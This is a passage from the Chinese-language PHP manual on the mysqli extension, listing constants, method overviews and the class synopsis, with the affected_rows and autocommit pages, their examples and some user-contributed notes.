发生数据截断。自 MySQL 5.0.5 起可用。

MYSQLI_ENUM_FLAG (int)

字段定义为 ENUM。

MYSQLI_BINARY_FLAG (int)

字段定义为 BINARY。

MYSQLI_CURSOR_TYPE_FOR_UPDATE (int)

MYSQLI_CURSOR_TYPE_NO_CURSOR (int)

MYSQLI_CURSOR_TYPE_READ_ONLY (int)

MYSQLI_CURSOR_TYPE_SCROLLABLE (int)

MYSQLI_STMT_ATTR_CURSOR_TYPE (int)

MYSQLI_STMT_ATTR_PREFETCH_ROWS (int)

MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH (int)

MYSQLI_SET_CHARSET_NAME (int)

MYSQLI_REPORT_INDEX (int)

如果在查询中没有使用索引或使用了坏索引，则会报告。

MYSQLI_REPORT_ERROR (int)

报告来自 mysqli 函数调用的错误。

MYSQLI_REPORT_STRICT (int)

抛出 mysqli_sql_exception 错误而不是警告。

MYSQLI_REPORT_ALL (int)

启用所有选项（报告所有）。

MYSQLI_REPORT_OFF (int)

关闭报告功能。

MYSQLI_DEBUG_TRACE_ENABLED (int)

如果 mysqli_debug() 功能启用，设置为 1。

MYSQLI_SERVER_QUERY_NO_GOOD_INDEX_USED (int)

MYSQLI_SERVER_QUERY_NO_INDEX_USED (int)

MYSQLI_SERVER_PUBLIC_KEY (int)

MYSQLI_REFRESH_GRANT (int)

刷新授权表。

MYSQLI_REFRESH_LOG (int)

刷新日志，就像执行 FLUSH LOGS SQL 语句。

MYSQLI_REFRESH_TABLES (int)

刷新表缓存，就像执行 FLUSH TABLES SQL 语句。

MYSQLI_REFRESH_HOSTS (int)

刷新主机缓存，就像执行刷新 FLUSH HOSTS SQL 语句一样。

MYSQLI_REFRESH_REPLICA (int)

MYSQLI_REFRESH_SLAVE 常量的别名。自 PHP 8.1.0 起可用。

MYSQLI_REFRESH_STATUS (int)

重置状态变量，如执行 FLUSH STATUS SQL 语句。

MYSQLI_REFRESH_THREADS (int)

刷新线程缓存。

MYSQLI_REFRESH_SLAVE (int)

在从复制服务器上：重置主服务器信息，并重新启动从服务器。就像执行 RESET SLAVE SQL 语句一样。

MYSQLI_REFRESH_MASTER (int)

在主复制服务器上：删除二进制日志索引中列出的二进制日志文件，并截断索引文件。就像执行 RESET MASTER SQL 语句一样。

MYSQLI_TRANS_COR_AND_CHAIN (int)

追加"AND CHAIN"到 mysqli_commit() 或 mysqli_rollback()。

MYSQLI_TRANS_COR_AND_NO_CHAIN (int)

追加"AND NO CHAIN"到 mysqli_commit() 或 mysqli_rollback()。

MYSQLI_TRANS_COR_RELEASE (int)

追加"RELEASE"到 mysqli_commit() 或 mysqli_rollback()。

MYSQLI_TRANS_COR_NO_RELEASE (int)

追加"NO RELEASE"到 mysqli_commit() 或 mysqli_rollback()。

MYSQLI_TRANS_START_READ_ONLY (int)

使用 mysqli_begin_transaction() 作为"START TRANSACTION READ ONLY"启动事务。

MYSQLI_TRANS_START_READ_WRITE (int)

使用 mysqli_begin_transaction() 作为"START TRANSACTION READ WRITE"启动事务。

MYSQLI_TRANS_START_CONSISTENT_SNAPSHOT (int)

使用 mysqli_begin_transaction() 作为"START TRANSACTION WITH CONSISTENT SNAPSHOT" 启动事务。

MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT (int)

需要 MySQL 5.6.5 及其以上版本。

MYSQLI_IS_MARIADB (bool)

mysqli 扩展是否针对 MariaDB 客户端库编译。自 PHP 8.1.2 起有效。

User Contributed Notes

jeriba4 at googlemail dot com 10-Mar-2013 06:00
Note that although CHAR is an explicite string type within MySQL,
MYSQLI_TYPE_CHAR is interpreted the same way as MYSQLI_TYPE_TINY, which is the TINYINT numeric type within MySQL.
As a consequence, you cannot distinguish these two column types by using their respective type index, as both are set to integer one (1).
Anonymous 09-May-2008 12:44
MYSQLI_TYPE_SHORT is used for SMALLINT, not INT


Notes

Some implementation notes:

  1. Support was added for MYSQL_TYPE_GEOMETRY to the MySQLi extension in PHP 5.3.

  2. Note there are different internal implementations within libmysqlclient and mysqlnd for handling columns of type MYSQL_TYPE_GEOMETRY. Generally speaking, mysqlnd will allocate significantly less memory. For example, if there is a POINT column in a result set, libmysqlclient may pre-allocate up to 4GB of RAM although less than 50 bytes are needed for holding a POINT column in memory. Memory allocation is much lower, less than 50 bytes, if using mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


MySQLi 扩展的函数概述

mysqli 方法的概述
mysqli 类
面向对象接口 | 面向过程接口 | 别名 (勿使用) | 描述
属性
$mysqli::affected_rows | mysqli_affected_rows() | N/A | 获取上次 Mysql 操作受影响的行数
$mysqli::client_info | mysqli_get_client_info() | N/A | 返回 Mysql 客户端版本信息，类型为 string
$mysqli::client_version | mysqli_get_client_version() | N/A | 返回 Mysql 客户端版本信息，类型为 integer
$mysqli::connect_errno | mysqli_connect_errno() | N/A | 返回最后一次连接数据库的错误代码
$mysqli::connect_error | mysqli_connect_error() | N/A | 返回最后一次连接数据库的错误描述，类型为字符串
$mysqli::errno | mysqli_errno() | N/A | 返回最近一次函数调用所产生的错误代码
$mysqli::error | mysqli_error() | N/A | 返回最近一次错误代码的描述，类型是字符串
$mysqli::field_count | mysqli_field_count() | N/A | 返回最近一次查询中，包含的列的数量
$mysqli::host_info | mysqli_get_host_info() | N/A | 返回字符串，表示数据库连接所使用的类型
$mysqli::protocol_version | mysqli_get_proto_info() | N/A | 返回使用的 MySQL 协议的版本信息
$mysqli::server_info | mysqli_get_server_info() | N/A | 返回 MySQL 服务器的版本
$mysqli::server_version | mysqli_get_server_version() | N/A | 返回 MySQL 服务器的版本，类型为 integer
$mysqli::info | mysqli_info() | N/A | 获取最近一次数据库查询的信息
$mysqli::insert_id | mysqli_insert_id() | N/A | 返回上次查询中所使用的自动生成的 ID
$mysqli::sqlstate | mysqli_sqlstate() | N/A | 返回上次 MySQL 操作的数据库状态错误（SQLSTATE error）
$mysqli::warning_count | mysqli_warning_count() | N/A | 根据数据库链接，返回最后一次数据库查询内警告的数量
Methods
mysqli::autocommit() | mysqli_autocommit() | N/A | 打开或关闭数据库的自动提交（auto-committing）功能
mysqli::change_user() | mysqli_change_user() | N/A | 更改指定数据库连接所使用的用户
mysqli::character_set_name() | mysqli_character_set_name() | N/A | 返回数据库连接的默认字符集
mysqli::close() | mysqli_close() | N/A | 关闭先前打开的数据库连接
mysqli::commit() | mysqli_commit() | N/A | 提交当前的数据库事务
mysqli::__construct() | mysqli_connect() | N/A | 打开新连接到 MySQL 服务器［注意：静态方法]
mysqli::debug() | mysqli_debug() | N/A | 执行调试操作
mysqli::dump_debug_info() | mysqli_dump_debug_info() | N/A | 将调试信息转储到日志中
mysqli::get_charset() | mysqli_get_charset() | N/A | 返回包含字符集信息的对象
mysqli::get_connection_stats() | mysqli_get_connection_stats() | N/A | 返回客户端连接的统计信息。仅可用于 mysqlnd。
mysqli::get_client_info() | mysqli_get_client_info() | N/A | 返回 MySQL 客户端版本的字符串信息
N/A | mysqli_get_client_stats() | N/A | 返回每个客户端进程的统计信息。 仅可用于 mysqlnd。
mysqli::get_server_info() | mysqli_get_server_info() | N/A | 返回 MySQLi 连接上的 MySQL 服务器的版本字符串
mysqli::get_warnings() | mysqli_get_warnings() | N/A | 文档暂缺
mysqli::init() | mysqli_init() | N/A | 初始化 MySQLi，返回对象，可供 mysqli_real_connect 使用。
mysqli::kill() | mysqli_kill() | N/A | 请求服务器杀死一个 MySQL 线程
mysqli::more_results() | mysqli_more_results() | N/A | 检查多语句查询内是否还有更多查询结果
mysqli::multi_query() | mysqli_multi_query() | N/A | 在数据库内执行多语句查询
mysqli::next_result() | mysqli_next_result() | N/A | 从 multi_query 中准备下一个结果集
mysqli::options() | mysqli_options() | mysqli_set_opt() | 设置选项
mysqli::ping() | mysqli_ping() | N/A | Ping 服务器链接，如果链接已经断开，尝试重连
mysqli::prepare() | mysqli_prepare() | N/A | 准备（prepare）需要执行的 SQL 语句
mysqli::query() | mysqli_query() | N/A | 在数据库内执行查询
mysqli::real_connect() | mysqli_real_connect() | N/A | 打开一个 MySQL 服务端的连接
mysqli::real_escape_string(), mysqli::escape_string() | mysqli_real_escape_string() | mysqli_escape_string() | 转义特殊字符，用于 SQL 语句，该转换会考虑连接中当前的字符集
mysqli::real_query() | mysqli_real_query() | N/A | 执行 SQL 查询
mysqli::refresh() | mysqli_refresh() | N/A | 刷新表或缓存，或重置复制（replication）服务器信息
mysqli::rollback() | mysqli_rollback() | N/A | 回滚当前事务
mysqli::select_db() | mysqli_select_db() | N/A | 为数据库查询设置默认数据库
mysqli::set_charset() | mysqli_set_charset() | N/A | 设置默认的客户端字符集
mysqli::ssl_set() | mysqli_ssl_set() | N/A | 使用 SSL 建立安全连接
mysqli::stat() | mysqli_stat() | N/A | 获取当前系统状态
mysqli::stmt_init() | mysqli_stmt_init() | N/A | 初始化语句并且返回供 mysqli_stmt_prepare 使用的对象
mysqli::store_result() | mysqli_store_result() | N/A | 传输最后一个查询的结果集
mysqli::thread_id() | mysqli_thread_id() | N/A | 返回当前连接的线程ID
mysqli::thread_safe() | mysqli_thread_safe() | N/A | 返回是否设定了线程安全
mysqli::use_result() | mysqli_use_result() | N/A | 初始化一个结果集的取回
mysqli_stmt 的方法概述
MySQL_STMT
面向对象接口 | 面向过程接口 | 别名 (勿使用) | 描述
属性
$mysqli_stmt::affected_rows | mysqli_stmt_affected_rows() | N/A | 返回受上次执行语句影响的总行数：修改、删除或插入
$mysqli_stmt::errno | mysqli_stmt_errno() | N/A | 返回最近一次语句调用的错误代码
$mysqli_stmt::error | mysqli_stmt_error() | N/A | 返回最后一条语句错误的字符串描述
$mysqli_stmt::field_count | mysqli_stmt_field_count() | N/A | 返回语句内的字段数量 - 文档暂缺
$mysqli_stmt::insert_id | mysqli_stmt_insert_id() | N/A | 获取上次 INSERT 操作生成的ID
$mysqli_stmt::num_rows | mysqli_stmt_num_rows() | N/A | 返回语句结果集中的行数
$mysqli_stmt::param_count | mysqli_stmt_param_count() | N/A | 返回语句中参数的数量
$mysqli_stmt::sqlstate | mysqli_stmt_sqlstate() | N/A | 返回上次执行 SQL 语句的 SQLSTATE 错误代码
方法
mysqli_stmt::attr_get() | mysqli_stmt_attr_get() | N/A | 用于获取语句属性的当前值
mysqli_stmt::attr_set() | mysqli_stmt_attr_set() | N/A | 用于修改 prepared 语句的行为
mysqli_stmt::bind_param() | mysqli_stmt_bind_param() | N/A | 绑定变量参数到 prepared 语句
mysqli_stmt::bind_result() | mysqli_stmt_bind_result() | N/A | 绑定变量参数到 prepared 语句，用于结果存储
mysqli_stmt::close() | mysqli_stmt_close() | N/A | 关闭 prepared 语句
mysqli_stmt::data_seek() | mysqli_stmt_data_seek() | N/A | 定位到结果集中的任意行
mysqli_stmt::execute() | mysqli_stmt_execute() | mysqli_execute() | 执行 prepared 查询
mysqli_stmt::fetch() | mysqli_stmt_fetch() | N/A | 获取 prepared 语句中的结果，到指定变量中
mysqli_stmt::free_result() | mysqli_stmt_free_result() | N/A | 释放给定语句处理存储的结果集所占内存
mysqli_stmt::get_result() | mysqli_stmt_get_result() | N/A | 获取 prepared 语句中的结果。 仅可用于 mysqlnd。
mysqli_stmt::get_warnings() | mysqli_stmt_get_warnings() | N/A | 暂无文档
mysqli_stmt::more_results() | mysqli_stmt_more_results() | N/A | 检查多语句查询中是否还有更多结果
mysqli_stmt::next_result() | mysqli_stmt_next_result() | N/A | 读取多语句查询中下一条结果
mysqli_stmt::num_rows() | mysqli_stmt_num_rows() | N/A | 参见 $mysqli_stmt::num_rows 中的属性
mysqli_stmt::prepare() | mysqli_stmt_prepare() | N/A | 准备执行 SQL 语句
mysqli_stmt::reset() | mysqli_stmt_reset() | N/A | 重置 prepare 语句
mysqli_stmt::result_metadata() | mysqli_stmt_result_metadata() | N/A | 返回 prepare 语句结果集内的元数据
mysqli_stmt::send_long_data() | mysqli_stmt_send_long_data() | N/A | 以块形式发送数据
mysqli_stmt::store_result() | mysqli_stmt_store_result() | N/A | 从 prepare 语句中传输储存结果集
mysqli_result 方法概述
mysqli_result
面向对象接口 | 面向过程接口 | 别名 (勿使用) | 描述
属性
$mysqli_result::current_field | mysqli_field_tell() | N/A | 获取当前字段在结果集指针中的开始位置
$mysqli_result::field_count | mysqli_num_fields() | N/A | 获取结果中字段数量
$mysqli_result::lengths | mysqli_fetch_lengths() | N/A | 返回结果集中当前行的列长度
$mysqli_result::num_rows | mysqli_num_rows() | N/A | 获取结果中行的数量
方法
mysqli_result::data_seek() | mysqli_data_seek() | N/A | 将结果中的结果指针调整到任意行
mysqli_result::fetch_all() | mysqli_fetch_all() | N/A | 抓取所有的结果行并且以关联数据，数值索引数组，或者两者皆有的方式返回结果集。 仅可用于 mysqlnd。
mysqli_result::fetch_array() | mysqli_fetch_array() | N/A | 以一个关联数组，数值索引数组，或者两者皆有的方式抓取一行结果
mysqli_result::fetch_assoc() | mysqli_fetch_assoc() | N/A | 以一个关联数组方式抓取一行结果
mysqli_result::fetch_column() | mysqli_fetch_column() | N/A | 从结果集的下一行中获取单个列
mysqli_result::fetch_field_direct() | mysqli_fetch_field_direct() | N/A | 抓取一个单字段的元数据
mysqli_result::fetch_field() | mysqli_fetch_field() | N/A | 返回结果集中的下一个字段
mysqli_result::fetch_fields() | mysqli_fetch_fields() | N/A | 返回一个代表结果集字段的对象数组
mysqli_result::fetch_object() | mysqli_fetch_object() | N/A | 以一个对象的方式返回一个结果集中的当前行
mysqli_result::fetch_row() | mysqli_fetch_row() | N/A | 以一个枚举数组方式返回一行结果
mysqli_result::field_seek() | mysqli_field_seek() | N/A | 设置结果指针到特定的字段开始位置
mysqli_result::free(), mysqli_result::close, mysqli_result::free_result | mysqli_free_result() | N/A | 释放与一个结果集相关的内存
mysqli_driver 的方法概述
MySQL_Driver
面向对象接口 | 面向过程接口 | 别名 (勿使用) | 描述
属性
$mysqli_driver::mysqli_report | mysqli_report() | N/A | 设置 mysqli 错误报告模式
方法
mysqli_driver::embedded_server_end() | mysqli_embedded_server_end() | N/A | 文档暂缺
mysqli_driver::embedded_server_start() | mysqli_embedded_server_start() | N/A | 文档暂缺

Note:

提供函数的别名，目的仅为向下兼容。不要在新项目中使用！

User Contributed Notes

There are no user contributed notes for this page.


mysqli 类

(PHP 5, PHP 7, PHP 8)

简介

代表 PHP 与 MySQL 数据库之间的连接。

类摘要

class mysqli {
/* 属性 */
public readonly int|string $affected_rows;
public readonly string $client_info;
public readonly int $client_version;
public readonly int $connect_errno;
public readonly ?string $connect_error;
public readonly int $errno;
public readonly string $error;
public readonly array $error_list;
public readonly int $field_count;
public readonly string $host_info;
public readonly ?string $info;
public readonly int|string $insert_id;
public readonly string $server_info;
public readonly int $server_version;
public readonly string $sqlstate;
public readonly int $protocol_version;
public readonly int $thread_id;
public readonly int $warning_count;
/* 方法 */
public __construct(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
)
public autocommit(bool $enable): bool
public begin_transaction(int $flags = 0, ?string $name = null): bool
public change_user(string $username, string $password, ?string $database): bool
public character_set_name(): string
public close(): true
public commit(int $flags = 0, ?string $name = null): bool
public connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): bool
public debug(string $options): true
public dump_debug_info(): bool
public execute_query(string $query, ?array $params = null): mysqli_result|bool
public get_charset(): ?object
public get_client_info(): string
public get_connection_stats(): array
public get_server_info(): string
public get_warnings(): mysqli_warning|false
public init(): ?bool
public kill(int $process_id): bool
public more_results(): bool
public multi_query(string $query): bool
public next_result(): bool
public options(int $option, string|int $value): bool
public ping(): bool
public static poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false
public prepare(string $query): mysqli_stmt|false
public query(string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool
public real_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool
public real_escape_string(string $string): string
public real_query(string $query): bool
public reap_async_query(): mysqli_result|bool
public refresh(int $flags): bool
public release_savepoint(string $name): bool
public rollback(int $flags = 0, ?string $name = null): bool
public savepoint(string $name): bool
public select_db(string $database): bool
public set_charset(string $charset): bool
public ssl_set(
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true
public stat(): string|false
public stmt_init(): mysqli_stmt|false
public store_result(int $mode = 0): mysqli_result|false
public thread_safe(): bool
public use_result(): mysqli_result|false
}

Table of Contents

  • mysqli::$affected_rows — Gets the number of affected rows in a previous MySQL operation
  • mysqli::autocommit — 打开或关闭本次数据库连接的自动命令提交事务模式
  • mysqli::begin_transaction — Starts a transaction
  • mysqli::change_user — Changes the user of the specified database connection
  • mysqli::character_set_name — 返回当前数据库连接的字符编码
  • mysqli::close — 关闭先前打开的数据库连接
  • mysqli::commit — 提交当前事务
  • mysqli::$connect_errno — Returns the error code from last connect call
  • mysqli::$connect_error — Returns a description of the last connection error
  • mysqli::__construct — Open a new connection to the MySQL server
  • mysqli::debug — Performs debugging operations
  • mysqli::dump_debug_info — 将调试信息输出到日志
  • mysqli::$errno — 返回最近函数调用的错误代码
  • mysqli::$error_list — Returns a list of errors from the last command executed
  • mysqli::$error — Returns a string description of the last error
  • mysqli::execute_query — Prepares, binds parameters, and executes SQL statement
  • mysqli::$field_count — Returns the number of columns for the most recent query
  • mysqli::get_charset — Returns a character set object
  • mysqli::$client_info — 获取 MySQL 客户端信息
  • mysqli::$client_version — 作为整数返回 MySQL 客户端的版本
  • mysqli::get_connection_stats — 返回客户端连接的统计数据
  • mysqli::$host_info — 返回表述使用的连接类型的字符串
  • mysqli::$protocol_version — 返回 MySQL 协议使用的版本号
  • mysqli::$server_info — 返回 MySQL 服务器的版本号
  • mysqli::$server_version — 作为一个整数返回MySQL服务器的版本
  • mysqli::get_warnings — Get result of SHOW WARNINGS
  • mysqli::$info — 返回最近执行的 SQL 语句的信息
  • mysqli::init — 初始化 MySQLi 并返回用于 mysqli_real_connect() 的对象
  • mysqli::$insert_id — 返回上次查询为 AUTO_INCREMENT 列生成的值
  • mysqli::kill — 让服务器杀死一个 MySQL 线程
  • mysqli::more_results — 检查批量查询中是否还有查询结果
  • mysqli::multi_query — 在数据库上执行一个或多个查询
  • mysqli::next_result — 为读取 multi_query 执行之后的下一个结果集做准备
  • mysqli::options — 设置选项
  • mysqli::ping — ping 一个连接，或者如果连接处于断开状态，重新连接
  • mysqli::poll — 轮询连接
  • mysqli::prepare — 预处理执行 SQL
  • mysqli::query — 对数据库执行查询
  • mysqli::real_connect — 建立一个 MySQL 服务器连接
  • mysqli::real_escape_string — 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义
  • mysqli::real_query — 执行一个mysql查询
  • mysqli::reap_async_query — 获取异步查询的结果
  • mysqli::refresh — 刷新
  • mysqli::release_savepoint — 从当前事务的保存点中移除一个命名保存点
  • mysqli::rollback — 回滚当前事务
  • mysqli::savepoint — 在当前事务中设置命名保存点
  • mysqli::select_db — 选择用于数据库查询的默认数据库
  • mysqli::set_charset — 设置客户端字符集
  • mysqli::$sqlstate — 返回上一次 MySQL 操作的 SQLSTATE 错误
  • mysqli::ssl_set — 用于使用 SSL 建立安全连接
  • mysqli::stat — 获取当前系统状态信息
  • mysqli::stmt_init — 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象
  • mysqli::store_result — 传输上次查询的结果集
  • mysqli::$thread_id — 返回当前连接的线程 ID
  • mysqli::thread_safe — 返回是否线程安全
  • mysqli::use_result — Initiate a result set retrieval
  • mysqli::$warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of affected rows in a previous MySQL operation

  • ? mysqli
  • mysqli::autocommit ?
  • PHP Manual
  • mysqli
  • Gets the number of affected rows in a previous MySQL operation

mysqli::$affected_rows

mysqli_affected_rows

(PHP 5, PHP 7, PHP 8)

mysqli::$affected_rows -- mysqli_affected_rows — Gets the number of affected rows in a previous MySQL operation

说明

面向对象风格

int|string $mysqli->affected_rows;

过程化风格

mysqli_affected_rows(mysqli $mysql): int|string

Returns the number of rows affected by the last INSERT, UPDATE, REPLACE or DELETE query. Works like mysqli_num_rows() for SELECT statements.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records were updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query returned an error or that mysqli_affected_rows() was called for an unbuffered SELECT query.

Note:

If the number of affected rows is greater than the maximum int value (PHP_INT_MAX), the number of affected rows will be returned as a string.

示例

Example #1 $mysqli->affected_rows example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Insert rows */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* update rows */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", $mysqli->affected_rows);

/* delete rows */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", $mysqli->affected_rows);

/* select all rows */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", $mysqli->affected_rows);

/* Delete table Language */
$mysqli->query("DROP TABLE Language");

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Insert rows */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Affected rows (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* update rows */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Affected rows (UPDATE): %d\n", mysqli_affected_rows($link));

/* delete rows */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Affected rows (DELETE): %d\n", mysqli_affected_rows($link));

/* select all rows */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Affected rows (SELECT): %d\n", mysqli_affected_rows($link));

/* Delete table Language */
mysqli_query($link, "DROP TABLE Language");

以上示例会输出：

Affected rows (INSERT): 984
Affected rows (UPDATE): 168
Affected rows (DELETE): 815
Affected rows (SELECT): 169

参见

  • mysqli_num_rows() - Gets the number of rows in the result set
  • mysqli_info() - 返回最近执行的 SQL 语句的信息

User Contributed Notes

lucgommans.nl 07-Feb-2023 03:02
Under the hood, this calls into mysql_affected_rows (1). The MariaDB function ROW_COUNT() mentions (2) that it is the equivalent of that C API function. These two lines, SQL followed by PHP, should be equivalent:

SELECT ROW_COUNT();
$db->affected_rows;

I found this useful to double check things in an SQL prompt, to make sure affected_rows is reflecting what I expect (changed rows as opposed to matched rows in an update statement), which indeed it did.

1. https://github.com/php/php-src/blob/1521cafee29e23ca147ec777f3770a7ac46c6880/ext/mysqli/mysqli_api.c#L36-L49
2. https://mariadb.com/kb/en/row_count/
Jacques Amar 10-Apr-2017 04:07
While using prepared statements, even if there is no result set (Like in an UPDATE or DELETE), you still need to store the results before affected_rows returns the actual number:

<?php
$del_stmt->execute();
$del_stmt->store_result();
$count = $del_stmt->affected_rows;
?>

Otherwise things will just be frustrating ..
anonymous 04-Dec-2015 10:48
This may seem obvious, but if you do an UPDATE with each of the values in your SET clause having the exact same value that is already in the table, then affected_rows returns 0.  For example:

<?php
    $mysqli = new mysqli($host, $usr, $pwd, $db, $port);
    $appointment_date = "2015-12-07";
    $sql = "update appointments set appointment_date = ? where appointment_id = 78";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s",$appointment_date);
    $stmt->execute();
    echo $mysqli ->affected_rows . "<br>";
?>

This returns 1 the first time I run it after changing the value of the $appointment_date variable.  When I run it a second time (making no changes), it returns 0.  I also verified the same behavior without using prepared statements.
Michael 15-Nov-2014 06:35
If you need to know specifically whether the WHERE condition of an UPDATE operation failed to match rows, or that simply no rows required updating you need to instead check mysqli::$info.

As this returns a string that requires parsing, you can use the following to convert the results into an associative array.

Object oriented style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', $mysqli->info, $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

Procedural style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', mysqli_info ($link), $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

You can then use the array to test for the different conditions

<?php
    if ($info ['Rows matched'] == 0) {
        echo "This operation did not match any rows.\n";
    } elseif ($info ['Changed'] == 0) {
        echo "This operation matched rows, but none required updating.\n";
    }

    if ($info ['Changed'] < $info ['Rows matched']) {
        echo ($info ['Rows matched'] - $info ['Changed'])." rows matched but were not changed.\n";
    }
?>

This approach can be used with any query that mysqli::$info supports (INSERT INTO, LOAD DATA, ALTER TABLE, and UPDATE), for other any queries it returns an empty array.

For any UPDATE operation the array returned will have the following elements:

Array
(
    [Rows matched] => 1
    [Changed] => 0
    [Warnings] => 0
)
fastest963 at gmail dot com 10-Jun-2014 05:50
empty($db->affected_rows) will return TRUE even if affected_rows is greater than 0. Manually check < 1 if you're looking for failure.
Anonymous 18-Feb-2011 02:50
On "INSERT INTO ON DUPLICATE KEY UPDATE" queries, though one may expect affected_rows to return only 0 or 1 per row on successful queries, it may in fact return 2.

From Mysql manual: "With ON DUPLICATE KEY UPDATE, the affected-rows value per row is 1 if the row is inserted as a new row and 2 if an existing row is updated."

See: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html

Here's the sum breakdown _per row_:
+0: a row wasn't updated or inserted (likely because the row already existed, but no field values were actually changed during the UPDATE)
+1: a row was inserted
+2: a row was updated
oilpc at oilpc dot com 14-Nov-2009 10:06
For "INSERT" or "UPDATE" statement for modifying data contained in one row of one table I checked if number of affected rows equals 1 to determine success of the operation. It works fine both for errors and false value of WHERE condition (that might be generated according to specific application user acces privileges).
<?php
if ($mysqli->affected_rows==1){
    echo "success";
}
else {
    echo "fail";
}
?>

Checking if mysqli->affected_rows will equal -1 or not is not a good method of determining success of "INSERT IGNORE" statements. Example: Ignoring duplicate key errors while inserting some rows containing data provided by user only if they will match specified unique constraint causes returning of -1 value by mysqli->affected_rows even if rows were inserted. (checked on MySQL 5.0.85 linux and php 5.2.9-2 windows). However mysqli->sqlstate returns no error if statement was executed successfully.
<?php
if ($mysqli->affected_rows!=-1){
    echo "success";// for "INSERT IGNORE" statements will not occur if there were any duplicate key errors ignored during execution of the query
}
else {
    echo "fail";// "INSERT IGNORE" statements causing any duplicate key errors (however ignored) lead to mysqli->affected_rows equal -1
}

// Example below works for "INSERT IGNORE" stattements, too
if ($mysqli->sqlstate=="00000"){
    echo "success";
}
else {
    echo "fail";
}
?>


打开或关闭本次数据库连接的自动命令提交事务模式

  • ? mysqli::$affected_rows
  • mysqli::begin_transaction ?
  • PHP Manual
  • mysqli
  • 打开或关闭本次数据库连接的自动命令提交事务模式

mysqli::autocommit

mysqli_autocommit

(PHP 5, PHP 7, PHP 8)

mysqli::autocommit -- mysqli_autocommit — 打开或关闭本次数据库连接的自动命令提交事务模式

说明

面向对象风格

public mysqli::autocommit(bool $enable): bool

过程化风格

mysqli_autocommit(mysqli $mysql, bool $enable): bool

打开或关闭本次数据库连接的自动命令提交事务模式。

如需要确认当前连接的自动事务提交状态，可执行这个 SQL 请求 SELECT @@autocommit。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

enable

是否开启自动提交。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::autocommit() 示例

面向对象风格

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Turn autocommit off */
$mysqli->autocommit(false);

$result = $mysqli->query("SELECT @@autocommit");
$row = $result->fetch_row();
printf("Autocommit is %s\n", $row[0]);

try {
/* Prepare insert statement */
$stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
$stmt->bind_param('ss', $language_code, $native_speakers);

/* Insert some values */
$language_code = 'DE';
$native_speakers = 50_123_456;
$stmt->execute();
$language_code = 'FR';
$native_speakers = 40_546_321;
$stmt->execute();

/* Commit the data in the database. This doesn't set autocommit=true */
$mysqli->commit();
print "Committed 2 rows in the database\n";

$result = $mysqli->query("SELECT @@autocommit");
$row = $result->fetch_row();
printf("Autocommit is %s\n", $row[0]);

/* Try to insert more values */
$language_code = 'PL';
$native_speakers = 30_555_444;
$stmt->execute();
$language_code = 'DK';
$native_speakers = 5_222_444;
$stmt->execute();

/* Setting autocommit=true will trigger a commit */
$mysqli->autocommit(true);

print "Committed 2 row in the database\n";
} catch (mysqli_sql_exception $exception) {
$mysqli->rollback();

throw $exception;
}

过程化风格

<?php

/* Tell mysqli to throw an exception if an error occurs */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* The table engine has to support transactions */
